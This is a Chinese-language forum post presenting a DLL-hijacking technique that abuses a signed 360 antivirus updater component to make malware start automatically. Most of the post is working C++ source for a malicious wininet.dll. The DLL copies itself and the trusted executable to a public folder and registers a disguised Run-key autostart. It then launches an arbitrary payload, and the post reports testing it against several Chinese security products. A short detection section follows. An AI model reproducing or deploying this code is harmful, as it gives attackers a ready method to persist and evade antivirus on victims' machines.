利用某组件dll劫持实现自启动
Bat-Hibara 发表于 甘肃 技术文章 411浏览 · 2024-11-23 12:40

利用360组件dll劫持实现自启动

  • 0.存在范围:对于360旧版本存在该利用文件,但签名持续有效,故可当作白文件进行操作。
  • 1.工具准备:IDA,VS(2023或其他)
  • 2.操作方法:
    先定位需要找的路径,依次盲测,具体如下:

我们不妨发现,除了360Safe.exe这个主干程序,还有很多组件类程序,他们大多都有dll调用,我们可以从这里入手,分离dll单独执行exe判断是否存在dll劫持漏洞可能(当前版本为360 v14,当时测试用版本没找到,故只做演示,仅供参考)或者依次导入IDA进行分析.
经过不断尝试,我们找到了一个可能存在dll劫持的exe程序,结果如下:

发现该程序有调用wininet.dll,其中包含:

Address Ordinal Name    Library

004171B4        InternetReadFile    WININET
004171B8        HttpQueryInfoW  WININET
004171BC        InternetOpenUrlW    WININET
004171C0        InternetOpenW   WININET
004171C4        InternetCloseHandle WININET

我们分别查看,看看这些函数是为了做什么的,
我们可以发现一个很有意思的地方,在InternetOpenW 函数中这个好像是用来网络行为的,是需要调用执行的,那么

我们可先对其进行构造,包含这些函数,加载定义 DLL 应用程序的入口点:

extern "C" __declspec(dllexport) void InternetReadFile() {  }
extern "C" __declspec(dllexport) void HttpQueryInfoW() {  }
extern "C" __declspec(dllexport) void InternetOpenUrlW() { }
extern "C" __declspec(dllexport) void InternetOpenW() {
    run();
}
extern "C" __declspec(dllexport) void InternetCloseHandle() {

然后我们分析这个程序行为,发现在描述中写道“360杀毒 升级辅助程序”,那么该程序即可为白名单,任意添加到360自启动目录,我们开始构造payload:
(代码用了AI注释,有违和感自行跳过即可)

#include "pch.h" // 包含预编译头文件,通常用于加快编译速度。
#include <Windows.h> // 包含 Windows API 的核心功能头文件。

void OurMalCode() { // 定义一个名为 OurMalCode 的函数,无参数并返回 void。
    WinExec("D:\\1.exe", 0); // 本人注释:执行的程序。
}

void run() { // 定义一个名为 run 的函数,无参数并返回 void。
    char szPath[MAX_PATH] = { 0 }; // 定义一个字符数组 szPath,大小为 MAX_PATH,并初始化为 0。
    GetModuleFileNameA(NULL, szPath, MAX_PATH); // 获取当前模块的文件名,并存储在 szPath 中。

    // 检查 szPath 中是否包含指定的路径,如果不包含则执行以下代码。
    if (strstr(szPath, "C:\\Users\\Public\\360safe\\") == NULL) {
        CreateDirectoryA("C:\\Users\\Public\\360safe\\", NULL); // 创建指定路径的目录。
        CopyFileA(szPath, "C:\\Users\\Public\\360safe\\360sd.exe", FALSE); // 复制当前模块文件到指定目录并重命名。
        CopyFileA("wininet.dll", "C:\\Users\\Public\\360safe\\wininet.dll", FALSE); // 复制 wininet.dll 到指定目录。

        HKEY hKey; // 声明一个 HKEY 类型的变量 hKey。
        // 打开注册表项,获取对 HKEY_CURRENT_USER 的访问权限。
        RegOpenKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_ALL_ACCESS, &hKey);

        // 设置注册表项以实现开机自启动,注册一个程序在启动时运行。
        RegSetValueExA(hKey, "360安全保镖", 0, REG_SZ, (BYTE*)"C:\\Users\\Public\\360safe\\360sd.exe", 100);
        RegCloseKey(hKey); // 关闭注册表项的句柄。
        return; // 返回,无需继续执行 run 函数中的剩余代码。
    }

    OurMalCode(); // 如果路径包含指定目录,则调用 OurMalCode 函数。
    return; // 返回,无需继续执行 run 函数。
}
//本人注释:对该程序所调用的函数导出,让其加载定义 DLL 应用程序的入口点。
extern "C" __declspec(dllexport) void InternetReadFile() {  } // 导出一个空的函数 InternetReadFile。
extern "C" __declspec(dllexport) void HttpQueryInfoW() {  } // 导出一个空的函数 HttpQueryInfoW。
extern "C" __declspec(dllexport) void InternetOpenUrlW() { } // 导出一个空的函数 InternetOpenUrlW。
extern "C" __declspec(dllexport) void InternetOpenW() { // 导出函数 InternetOpenW。
    run(); // 在调用该函数时执行 run 函数。
}

extern "C" __declspec(dllexport) void InternetCloseHandle() {  } // 导出一个空的函数 InternetCloseHandle。

开始编译,并且拖入该程序路径:

  • 3.运行测试:
    环境:win10 win11 (or win7未测)
    360 v14
    火绒 6.0.31
    管家 17.1.x
    运行效果:

启动路径:C:\Users\Public\360safe

  • 4.补录,检查与反制:
    直接查看启动项,现在360主程序启动只会有一个启动项(某壁纸等除外)
    看到其他字样的360启动项,以及启动目录在C:\Users\Public\360safe的文件,直接进去把dll拖出来:

然后导IDA,如图

定位该程序,然后火绒剑嘿嘿。。。

定位该程序,然后火绒剑嘿嘿。。。

最后附上该程序的签名截图:

0 条评论
某人
表情
可输入 255
目录